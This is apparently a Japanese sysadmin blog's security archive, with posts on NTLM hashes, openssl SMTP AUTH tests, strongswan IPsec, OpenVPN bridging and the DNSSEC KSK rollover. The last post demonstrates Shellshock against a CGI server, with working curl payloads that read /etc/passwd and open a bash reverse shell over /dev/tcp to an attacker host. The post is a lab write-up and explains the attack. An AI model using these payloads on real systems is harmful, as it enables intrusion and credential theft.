カテゴリー別アーカイブ: セキュリティ

LM ハッシュパスワードと NTLM ハッシュパスワードの生成

現代で NTLM ハッシュや LM ハッシュを使うこともそうそうないのだが、無線 LAN の PEAP 認証で mschap を利用する場合は必要となるので、手動生成する方法を調べてみた。

ハッシュの作り方説明は、Wikipedia の該当ページにある。

NTLM ハッシュについては、シェルスクリプトのワンライナーでも生成できる。
$ printf "pass_string" | iconv -f utf-8 -t utf-16le | openssl md4 | awk '{print $2}' | tr '[a-z]' '[A-Z]'

LM ハッシュの方はもう少し手順が面倒くさいので、ワンライナーでは無理な感じだ。車輪の再発明は避けて、既存のコードをもらってくることにする。

php によるコード
C によるコード (mkntpwdコマンド)
あたりをもらってくると良い。

また FreeRADIUS がインストールしてあれば、付属の smbencrypt コマンドが使えるはず。

openssl s_client で SMTP STARTTLS と SMTP AUTH を動作確認する

概要: openssl s_client コマンドについて

openssl の s_client サブコマンドで、TLS 接続の手動確認をすることが可能だ。例えば、HTTPS の確認は以下のように実行できる。

$ openssl s_client -connect www.example.com:443
(中略)
GET / HTTP/1.0(Enter)
Host: www.example.com(Enter2回押す)

さらに、最初は平文接続して、アプリケーションプロトコル上の STARTTLS コマンドで TLS 状態に入りたい場合もある。SMTP、IMAP、LDAP、FTP などの STARTTLS が相当する。これも s_clinet の -starttls オプションで実現できる。

SMTPの場合、以下のコマンドで接続可能だ。

$ openssl s_client -connect mail.example.com:587 -starttls smtp

しかし、RCPT TO: を大文字で打った瞬間に、RENEGOTIATING という表示とともに先へ進めなくなってしまう。

$ openssl s_client -connect mail.example.com:587 -starttls smtp
CONNECTED(00000003)
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 CN = mail.example.com
verify return:1
(中略)
250 DSN
EHLO mail.example.com
250-mail.example.com
250-PIPELINING
250-SIZE 52428800
250-ETRN
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM: test@example.com
250 2.1.0 Ok
RCPT TO: test@example.jp
RENEGOTIATING
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 CN = mail.example.com
verify return:1

標準入力の一文字目が大文字の「R」になっていると、openssl s_client の TLS 再ネゴシエーションコマンドとして解釈されてしまうためである。

再ネゴシエーションを回避するには、「rcpt to:」と小文字で打つか、openssl s_client のオプションとして -ign_eof または -quiet を追加する。

$ openssl s_client -quiet -connect mail.example.com:587 -starttls smtp

さらに、SMTP AUTH のテストも組み込んでみる。

実行例1: AUTH PLAIN

SMTP AUTH の PLAIN コマンドで必要な文字列は、「ユーザ名\0ユーザ名\0パスワード」(\0はヌル文字)という合成文字列を BASE64 エンコードしたものである。あらかじめ文字列を作っておく。

$ printf 'username\0username\0password' | base64
dXNlcm5hbWUAdXNlcm5hbWUAcGFzc3dvcmQ=

さきほどのエンコード文字列を AUTH PLAIN の引数として与える。

$ openssl s_client -quiet -connect mail.example.com:587 -starttls smtp
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 CN = mail.example.com
verify return:1
250 DSN
EHLO mail.example.com
250-mail.example.com
250-PIPELINING
250-SIZE 10485760
250-ETRN
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH PLAIN dXNlcm5hbWUAdXNlcm5hbWUAcGFzc3dvcmQ=
235 2.7.0 Authentication successful ←認証成功
MAIL FROM: test@example.com
250 2.1.0 Ok
RCPT TO: test@example.jp
250 2.1.5 Ok ←メールリレー成功
QUIT
221 2.0.0 Bye

実行例2: AUTH LOGIN

AUTH LOGIN コマンドでは、ユーザ名とパスワードをそれぞれ BASE64 エンコードした文字列が必要になる。

$ printf "username" | base64
dXNlcm5hbWU=
$ printf "password" | base64
cGFzc3dvcmQ=

サーバからの 334 VXNlcm5hbWU6 に対してはユーザ名のエンコード文字列を、334 UGFzc3dvcmQ6 に対してはパスワードのエンコード文字列を入力する。

$ openssl s_client -quiet -connect mail.example.com:587 -starttls smtp
depth=2 C = JP, O = "SECOM Trust Systems CO.,LTD.", OU = Security Communication RootCA2
verify return:1
depth=1 C = JP, L = Academe, O = National Institute of Informatics, CN = NII Open Domain CA - G4
verify return:1
depth=0 CN = mail.example.com
verify return:1
250 DSN
EHLO mail.example.com
250-mail.example.com
250-PIPELINING
250-SIZE 10485760
250-ETRN
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6
dXNlcm5hbWU=
334 UGFzc3dvcmQ6
cGFzc3dvcmQ=
235 2.7.0 Authentication successful ←認証成功
MAIL FROM: test@example.com
250 2.1.0 Ok
RCPT TO: test@example.jp
250 2.1.5 Ok ←メールリレー成功
QUIT
221 2.0.0 Bye

参考URL:

Linux 同士の IPv6 IPsec 接続

個人的なことだが、自宅のフレッツ回線とプロバイダがIPv6ネイティブ方式 (IPoE) に対応したため、自宅内のノードに IPv6 グローバルアドレスを割り当てられるようになった。

これを利用して、自分で借りた「さくらの VPS」(こちらも IPv6 グローバルアドレスが付与される)と自宅内サーバの間に IPv6 IPsecトンネルを作成してみる。

前提環境:
自宅サーバ: Raspbian stretch + strongswan
自宅内グローバルIPv6アドレス範囲: 2001:db8:1234:5678::/64
自宅サーバIPv6アドレス: 2001:db8:1234:5678:9012:3456:7890:1234
VPS: CentOS 7.4 + strongswan
VPS グローバル IPv6 アドレス: 2001:db8:abcd:efab:cdef:abcd:efab:cdef
認証方式: X.509 証明書

1. 証明書の作成

オレオレ CA を作成して証明書を発行する。IPv4で構築した時の記事を参照のこと。

2. VPS 側の設定

strongswan をインストールする。

$ sudo yum install epel-release
$ sudo yum install strongswan

カーネルモジュールをロードする。
strongswan公式ドキュメントを参照して、必要なモジュールがロードされていない場合は手動でロードする。

$ sudo modprobe xfrm6_tunnel

設定ファイル
/etc/strongswan/ipsec.conf:

conn myhome-to-vps6
        authby=rsasig
        auto=add
        closeaction=clear
        dpdaction=clear
        leftid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.example.jp"
        leftsubnet=2001:db8:abcd:efab:cdef:abcd:efab:cdef/128
        leftcert=myvps1.crt
        right=%any
        rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.example.com"
        rightsubnet=2001:db8:1234:5678::/64
        ike=aes256-sha512-modp8192!
        esp=aes256-sha512
        keyexchange=ikev2

/etc/strongswan/ipsec.secrets:

: RSA myvps1.key

strongswanサービス起動

$ sudo systemctl enable strongswan
$ sudo systemctl start strongswan

3. 自宅内サーバ側の設定

strongswanをインストールする。こちらは Raspbian なので apt コマンドで。

$ sudo apt install strongswan

必要なカーネルモジュールをロードする。

$ sudo modprobe xfrm6_tunnel
$ sudo modprobe esp6

設定ファイル
/etc/ipsec.conf:

conn myhome-to-vps6
        authby=rsasig
        auto=start
        closeaction=restart
        dpdaction=restart
        leftid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myserver1.example.com"
        leftsubnet=2001:db8:1234:5678::/64
        leftcert=myserver1.crt
        right=2001:db8:abcd:efab:cdef:abcd:efab:cdef
        rightid="C=JP, ST=Aichi, O=Home, OU=Server, CN=myvps1.example.jp"
        rightsubnet=2001:db8:abcd:efab:cdef:abcd:efab:cdef/128
        ike=aes256-sha512-modp8192!
        esp=aes256-sha512
        keyexchange=ikev2

/etc/ipsec.secrets:

: RSA myserver1.key

strongswanサービスを起動する。

$ sudo systemctl enable strongswan
$ sudo systemctl start strongswan

OpenVPN で L2VPN を作成する

自宅内のVPN Gatewayに、OpenVPNとブリッジインターフェイスを使って、レイヤー2 VPNを作成する。自宅外からVPN接続したとき、bonjourやWindowsネットワーク検索のように、同一ネットワークセグメントで利用可能なサービスが自宅内と同様に使えるのがメリット。

サーバ: Raspberry Pi 2 (Raspbian 9.0 stretch)
環境は以下の図の通り。

この文書の手順以外に別途、外部接続ルータでサービスポートを外部公開しておく必要がある。

Apple iOS系デバイスはtapに対応していないため、Layer2 VPNを利用できないので注意。Android系もroot権限なしの標準APIとそれを利用する標準クライアントではtapに対応していない(有料ソフトウェアのOpenVPN Clientはtapに対応している)。

1. OpenVPN パッケージインストール

$ sudo apt install openvpn bridge-utils

2. ネットワークインターフェイスをbridge設定にする

eth0デバイスを直接使わず、ブリッジデバイスbr0を使ってeth0をそのメンバーとするように設定する。IPアドレスはDHCP範囲外の固定IPアドレスを利用することとする。

interfacesファイルを編集する。

$ sudo vi /etc/network/interfaces

auto br0
iface br0 inet static
        address 192.168.100.20
        netmask 255.255.255.0
        network 192.168.100.0
        broadcast 192.168.100.255
        gateway 192.168.100.1
        dns-nameservers 192.168.100.1
        dns-search home.private
        bridge_ports eth0

もともとeth0だったところをbr0にして、bridge_ports eth0 を追加するように編集する。

ここで一度再起動して、br0にIPアドレスが付くことを確認する。
$ sudo shutdown -r now

3. サーバ設定

OpenVPN サーバの設定ファイルを作成する。

$ sudo mkdir -p /var/log/openvpn /etc/openvpn/ccd
$ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/server/
$ sudo gzip -d /etc/openvpn/server/server.conf.gz
$ sudo mv /etc/openvpn/server/{server,udp7231}.conf
$ sudo vi /etc/openvpn/server/udp7231.conf

port 7231
proto udp
dev tap
ca ca.crt
cert server.crt
key server.key
dh dh2048.pem
client-config-dir ccd
server-bridge 192.168.100.0 255.255.255.0 192.168.100.192 192.168.100.223
push "dhcp-option DNS 192.168.100.1"
push "dhcp-option DOMAIN-SEARCH home.private"
client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
comp-lzo
user nobody
group nogroup
persist-key
persist-tun
status /var/log/openvpn/openvpn-status.log
log-append  /var/log/openvpn/openvpn.log
verb 3

トランスポート層プロトコルは UDP を利用する(TCP over TCP問題を避けるため)。利用するポートは念のため標準の 1194 から変え、適当にランダムで決める。今回は 7231 とした。

4. サーバ証明書の準備

easy-rsaパッケージを利用してCAを作成し、サーバ証明書・鍵を作成する。CA 作業用ディレクトリとして、/etc/openvpn/easy-rsa を作成する。

$ sudo make-cadir /etc/openvpn/easy-rsa
$ sudo -i
# cd /etc/openvpn/easy-rsa
# ln -s openssl-1.0.0.cnf openssl.cnf
# vi vars

以下のような設定をvarファイルに記述する。

export KEY_SIZE=2048
export KEY_COUNTRY="JP"
export KEY_PROVINCE="Aichi"
export KEY_CITY="Nagoya"
export KEY_ORG="Home"
export KEY_EMAIL="root@raspberrypi.home.private"
export KEY_OU="Server"

CAを作成し、サーバ鍵・証明書を作成する。

# . vars
# ./clean-all
# ./build-ca
# ./build-key-server server

TLS Static Key と DH Keyを作成する。DH Keyの生成にはかなりの時間がかかる(Raspberry Piでは10分以上)

# openvpn --genkey --secret /etc/openvpn/server/ta.key
# ./build-dh
# cp -p keys/ca.crt keys/server.crt keys/server.key keys/dh2048.pem /etc/openvpn/server/
# exit

5. OpenVPNサービスの有効化と起動

サーバ側 OpenVPN サービス用の systemd ユニットファイルは /lib/systemd/system/openvpn-server@.service である。@の後にサーバ側 conf ファイルのドットより前の名前(今回の場合は “udp7231″)を指定して有効化・起動する。

サービスを有効化し、起動する。
$ sudo systemctl enable openvpn-server@udp7231
Created symlink /etc/systemd/system/multi-user.target.wants/openvpn-server@udp7231.service → /lib/systemd/system/openvpn-server@.service.
$ sudo systemctl start openvpn-server@udp7231

これだけだと、ブリッジデバイスに tap0 デバイスが組み込まれず、通信できない。/etc/systemd 以下に追加の systemd ユニットファイルを作成し、tap0 デバイスをブリッジに追加する。

$ sudo vi /etc/systemd/system/openvpn-bridge.service

[Unit]
Description=OpenVPN bridge service
Requires=openvpn-server@udp7231.service
After=openvpn-server@udp7231.service

[Service]
Type=oneshot
RemainAfterExit=yes
ExecStart=/bin/sh -c '/sbin/brctl addbr br0 || /bin/true'
ExecStartPost=/bin/sh -c '/sbin/brctl addif br0 tap0 || /bin/true'
ExecStartPost=/sbin/ip link set tap0 up
ExecReload=/bin/true
ExecStop=/sbin/brctl delif br0 tap0

[Install]
WantedBy=multi-user.target

brctl addbr br0 の行は本来必要ないはず(br0 の立ち上げは /etc/network/interfaces に書いてあれば自動的に実行される)なのだが、タイミングの問題で openvpn サービス起動時にまだ br0 が無い場合があり、次の行の brctl addif br0 tap0 に失敗することがあるため、念のため加えている。

ブリッジ用自作サービスを有効化し、起動する。
$ sudo systemctl enable openvpn-bridge
Created symlink /etc/systemd/system/multi-user.target.wants/openvpn-bridge.service → /etc/systemd/system/openvpn-bridge.service.
$ sudo systemctl start openvpn-bridge

6. iptables設定

OpenVPNサービスポートの、ローカルファイアウォール設定を開けておく。

iptablesの設定にiptables-persistentパッケージを利用している場合は、/etc/iptables/rules.v4を編集して以下の行を加える。

-A INPUT -p udp -m udp --dport 7231 -j ACCEPT

設定を再読み込みする。
$ sudo netfilter-persistent reload

もしiptables直接ではなくufwを使っているのであれば、以下のコマンドでサービスポートを開ける。
$ sudo ufw allow 7231/udp
$ sudo ufw reload

ブリッジ設定の場合、パケットフォワーディングの設定(sysctl -w net.ipv4.ip_forward=1)は不要。

7. クライアント側設定テンプレートの作成

設定を複数のクライアントに配布するため、元となるテンプレートファイルを作成する。

$ sudo cp /usr/share/doc/openvpn/examples/sample-config-files/client.conf /etc/openvpn/client/client.template
$ sudo vi /etc/openvpn/client/client.template

client
dev tap
proto udp
remote 203.0.113.10 7231
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
key-direction 1
cipher AES-256-CBC
comp-lzo
<tls-auth>
ここに/etc/openvpn/server/ta.keyファイルの内容をペーストする。
</tls-auth>
<ca>
ここに/etc/openvpn/server/ca.crtファイルの内容をペーストする。
</ca>
<key>
</key>
<cert>
</cert>

証明書・鍵ファイル等を別ファイルの形で配布しても良いが、設定ファイルの中に取り込む形にしてみる。設定を単一ファイルで配布できれば取り回しが良いため。

8. クライアント証明書の発行と設定ファイルの作成

まず1番目のクライアント用の鍵・証明書を発行する。

$ sudo -i
# cd /etc/openvpn/easy-rsa
# . vars
# ./build-key client1
# exit

クライアント1のためのファイル (client1.ovpn) をテンプレートから作成する。

$ sudo cp /etc/openvpn/client/{client.template,client1.ovpn}
$ sudo vi /etc/openvpn/client/client1.ovpn

client1.ovpnファイルの中の<cert>, <key>各セクションの中に、作成した証明書(client1.crt)と鍵(client1.key)ファイルの内容をコピー&ペーストする。

作成した/etc/openvpn/client/client1.ovpnファイルを配布して、クライアントデバイスにインストールして接続確認する。

接続成功するようなら、client2、client3、…と設定ファイルを同様に作成していく。

openswan vs strongswan vs libreswan

IPsec の実装として、openswan / strongswan / libreswan どれを使えばいいの?というお話。

どの実装もかつてのFreeS/WAN IPsecの末裔であって、似た設定で動作するのだけど微妙に書式が違う、というやっかいなことになっている。

openswan:
もうメンテされていない古い実装。Ubuntu 18.04 LTS も CentOS 7 もパッケージを用意していないので、あえて使う理由がない。
libreswan:
openswanのフォークで、現状メンテされている。RedHat/CentOS系は標準パッケージで用意されている。Debian/Ubuntu系にはパッケージなし。
strongswan:
ご先祖から大幅に書き直されたもの。Debian/Ubuntu系OSの場合は標準パッケージで用意されている。RedHat/CentOS系はepelレポジトリに入っている。

Fedora の場合は strongswan / libreswan どちらもパッケージが用意されている。

ということで、openswan は使わないものとして、あとは OS によってパッケージがある方を選んでおけば良いのではないか。

※2018/04/12追記: メジャーなディストリビューションのうち、現時点で Debian 9.x (stretch) についてはまだ libreswan パッケージが無く、openswan が残っている。Debian stretch の場合は、strongswan を使っておくのが良いだろう。

参考:
IPsec for Linux – strongSwan vs Openswan vs Libreswan vs other(?)

DNSSEC ルートゾーン KSK ロールオーバーについて

DNSSECのルートゾーンKSKロールオーバーについて、ロールオーバー前後でDNSの検索に支障が出ないよう、各所から通達が出ている。

ルートゾーンKSKロールオーバーによる影響とその確認方法について (JPRS)
KSKロールオーバーについて (JPNIC)

(2017/10月予定だった切り替えが延期され、現在は 2018/10/11 に予定されています)

1. 管理下の DNS キャッシュは DNSSEC 検証をしているか

DNS キャッシュサーバーを管理している場合は、一応気を付けたほうが良い。管理下の DNS キャッシュサーバーに対して、dig コマンドでDNSSEC 対応済みドメイン (例: jprs.jp) の情報を検索したときに、回答に ad フラグが付いていたら「キャッシュサーバーでDNSSEC署名検証が有効になっている」状態なので、更新後の鍵を設定してやる必要があるかもしれない。

adフラグが付いている例:

$ dig jprs.jp. @mydns.example.com

; <<>> DiG 9.10.3-P4-Ubuntu <<>> jprs.jp.
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26772
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 4, ADDITIONAL: 9
...

(参考: DNSSECチュートリアル~実践編~)

2. RHEL 7 / CentOS 7 + BIND の場合

named.confにデフォルトで以下の設定が入っていて、DNSSEC署名検証が有効になっている。

options {
...
        dnssec-enable yes;
        dnssec-validation yes;

        /* Path to ISC DLV key */
        bindkeys-file "/etc/named.iscdlv.key";

        managed-keys-directory "/var/named/dynamic";
...
};
...
include "/etc/named.root.key";

対処法1. パッケージアップデート

/etc/named.iscdlv.key と /etc/named.root.key に、ルートゾーンの鍵が入っている。パッケージバージョンがbind-9.9.4-38.4以降であれば、上記2ファイルに新しい鍵が追加されるので、bindのパッケージをアップデートしてしまうのが一番手っ取り早く安心できる方法ではある。

対処法2. 自動更新に任せる

9.9.4-38.3以前のパッケージを使っている場合でも、RFC5011 の自動更新に対応している。named を起動すると更新後の鍵は /var/named/dynamic/managed-keys.bind{,.jnl} として自動保存される。このため、特に何かをする必要はない。

# とはいえ、CVE-2017-3142、CVE-2017-3143への対処が9.9.4-38.5以降で行われているので、パッケージを更新した方が良い。

3. RHEL 7 / CentOS 7 + Unbound の場合

デフォルトの /var/lib/unbound/root.key には古い鍵しか入っていないが、/etc/unbound/unbound.conf に以下の記述があり、自動更新が有効になっている。

server:
...
        auto-trust-anchor-file: "/var/lib/unbound/root.key"
...

unbound のデーモンを起動すると、/var/lib/unbound/root.key に新しい鍵が追加される。

このため、これらの設定を変更していなければ、特に対処の必要はない。

4. 確認、その他

EDNS0を無効化していないこと、経路上でTCP53が通ること、フラグメントパケットが通ることも確認しておく。

大きなサイズの DNS 応答に対応できているかどうかは、DNS-OARCが確認用のレコードを用意してくれているので、以下の dig コマンドで確認できる。

$ dig +bufsize=4096 +short rs.dns-oarc.net txt

非対応のキャッシュサーバだと、以下のような回答が返ってくる。

rst.x476.rs.dns-oarc.net.
rst.x485.x476.rs.dns-oarc.net.
rst.x490.x485.x476.rs.dns-oarc.net.
"203.0.113.1 DNS reply size limit is at least 490"
"203.0.113.1 lacks EDNS, defaults to 512"
"Tested at 2017-08-31 01:19:47 UTC"

Raspbianにstrongswan 5.xをインストール

Raspberry Pi model B+ を購入して VPN 箱にしようとしたが、Raspbian OS標準のstrongswan パッケージ (=debian wheezyのパッケージ) があまりに古い (4.5.2) ので、ソースから 5.x をインストールすることにする。

1. 標準パッケージのstrongswanをアンインストール

アンインインストールする前に、起動スクリプトをバックアップしておく。

$ sudo cp /etc/init.d/ipsec /tmp

その上で、標準のstrongswanをアンインストールする。

$ sudo apt-get purge libstrongswan strongswan \
strongswan-ikev1 strongswan-ikev2 strongswan-starter

2. ビルドに必要なパッケージをインストール

$ sudo apt-get install build-essential

3. 必要そうなライブラリをインストール

$ sudo apt-get install libgmp-dev libldap2-dev \
libcurl4-openssl-dev libpam0g-dev libkrb5-dev \
libfcgi-dev libgcrypt11-dev libxml2-dev libsqlite3-dev \
libcap-dev libldns-dev libunbound-dev libsoup2.4-dev \
libtspi-dev libjson0-dev libmysqlclient-dev libpcsclite-dev

4. ビルド・インストール

wheezy-backportsパッケージのrulesファイルを参考にしてconfigureオプションを決定する。インストール先が/usr/localではなくなるけど、まあいいでしょう…
$ wget https://download.strongswan.org/strongswan-5.2.2.tar.bz2
$ tar xjf strongswan-5.2.2.tar.bz2
$ cd strongswan-5.2.2
$ ./configure \
--disable-static \
--prefix=/usr \
--exec-prefix=/usr \
--sysconfdir=/etc \
--localstatedir=/var \
--libdir=/usr/lib \
--libexecdir=/usr/lib \
--with-tss=trousers \
--enable-addrblock \
--enable-agent \
--enable-attr-sql \
--enable-ccm \
--enable-certexpire \
--enable-cmd \
--enable-coupling \
--enable-ctr \
--enable-curl \
--enable-dhcp \
--enable-dnscert \
--enable-duplicheck \
--enable-eap-aka \
--enable-eap-aka-3gpp2 \
--enable-eap-dynamic \
--enable-eap-gtc \
--enable-eap-identity \
--enable-eap-md5 \
--enable-eap-mschapv2 \
--enable-eap-peap \
--enable-eap-radius \
--enable-eap-sim \
--enable-eap-sim-file \
--enable-eap-sim-pcsc \
--enable-eap-simaka-pseudonym \
--enable-eap-simaka-reauth \
--enable-eap-simaka-sql \
--enable-eap-tls \
--enable-eap-tnc \
--enable-eap-ttls \
--enable-error-notify \
--enable-farp \
--enable-gcm \
--enable-gcrypt \
--enable-imc-attestation \
--enable-imc-os \
--enable-imc-scanner \
--enable-imc-swid \
--enable-imc-test \
--enable-imv-attestation \
--enable-imv-os \
--enable-imv-scanner \
--enable-imv-swid \
--enable-imv-test \
--enable-integrity-test \
--enable-ipseckey \
--enable-ldap \
--enable-led \
--enable-load-tester \
--enable-lookip \
--enable-md4 \
--enable-mysql \
--enable-ntru \
--enable-openssl \
--enable-pkcs11 \
--enable-radattr \
--enable-soup \
--enable-sql \
--enable-sqlite \
--enable-systime-fix \
--enable-test-vectors \
--enable-tnccs-11 \
--enable-tnccs-20 \
--enable-tnccs-dynamic \
--enable-tnc-ifmap \
--enable-tnc-imc \
--enable-tnc-imv \
--enable-tnc-pdp \
--enable-unbound \
--enable-unity \
--enable-whitelist \
--enable-xauth-eap \
--enable-xauth-generic \
--enable-xauth-noauth \
--enable-xauth-pam \
--disable-blowfish \
--disable-des \
--with-capabilities=libcap
$ make
$ sudo make install

さすがにCPUの能力が低いので、ビルドには時間がかかる。

最初にコピーしておいた起動スクリプトを戻す。
$ sudo mv /tmp/ipsec /etc/init.d/
$ sudo update-rc.d ipsec defaults

bash脆弱性を利用した攻撃の例

bashの脆弱性をそのままにしているWebサーバがある場合、環境変数 (User-AgentなどHTTPヘッダとして渡せば受け取ってくれる) に脆弱性を突く文字列+任意のコマンドを埋め込んで実行できる。

条件としては、さらにサーバ上に「bashを実行しそうな実在のCGIスクリプト」などが存在することが必要。CGIスクリプトの言語がshまたはbashであればその条件に該当するし、仮にPHPやPythonだったとしても、system関数などを使っていれば/bin/shが起動されるため該当する。

※RedHat, CentOS6では/bin/sh -> /bin/bashへのシンボリックリンクであるため上記が成立するが、Debian系など他のシステムでは成立しないかもしれない。以下はRedHat Enterprise Linux 6で検証している。

1. サーバ側でcat /etc/passwdを実行させる例

curlコマンドの-A(User-Agent:ヘッダを指定する)オプションを使用して、文字列を送り込む。

attacker-pc$ curl -A "() { :;};echo Content-type:text/plain;echo;/bin/cat /etc/passwd" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

/cgi-bin/test.cgi は、実在する(かつ内部でbashを呼び出す)必要がある。

2. 攻撃者側へサーバのbashインタラクティブシェルを開く例

bashの/dev/tcp/host/port入出力エミュレート機能というのがあって、デバイスファイルへの書き込みが特定ホスト/ポートへのTCPパケット送出となるようになっている。

参考: suztomoの日記 – ncコマンドとbashの/dev/tcpで通信

以下、この機能を使って攻撃者側にシェルプロンプトを開いてみる実行例。
攻撃者は端末(tty1)で、ncコマンドなどを使いTCPの特定ポートを待ち受ける。以下の例では3333番ポートである。

attacker-pc-tty1$ nc -l -p 3333

このtty1端末はそのまま待ち受け状態となる。

ここでもう一つ端末(tty2)を立ち上げて、攻撃用のcurlコマンドを実行する。

attacker-pc-tty2$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/攻撃者PCのグローバルIPアドレス/3333 0>&1" http://攻撃対象サーバのホスト名orIPアドレス/cgi-bin/test.cgi

すると、さきほどのtty1にサーバのシェルプロンプトが現れる。

attacker-pc-tty1$ nc -l -p 3333
bash: no job control in this shell
bash-4.1$ 

サーバ側から攻撃者PCのTCP3333番へ接続され、bashの入出力が接続された状態となった。

apacheの権限でできることであれば、ここから何でもインタラクティブに実行可能である。

※SELinuxが有効になっていれば、2.のパターンの実行は阻止される。このときhttpdのエラーログに”sh: /dev/tcp/aa.bb.cc.dd/3333: Permission denied”が記録される。

実験環境:
RedHat Enterprise Linux 6.5 x86_64
bash-4.1.2-15.el6_4

参考にしたサイト:
x86-64.jp – bashの脆弱性がヤバすぎる件
ワルブリックス株式会社 – BASHの脆弱性でCGIスクリプトにアレさせてみました
もろず blog – bash の脆弱性 “Shell Shock” のめっちゃ細かい話 (CVE-2014-6271)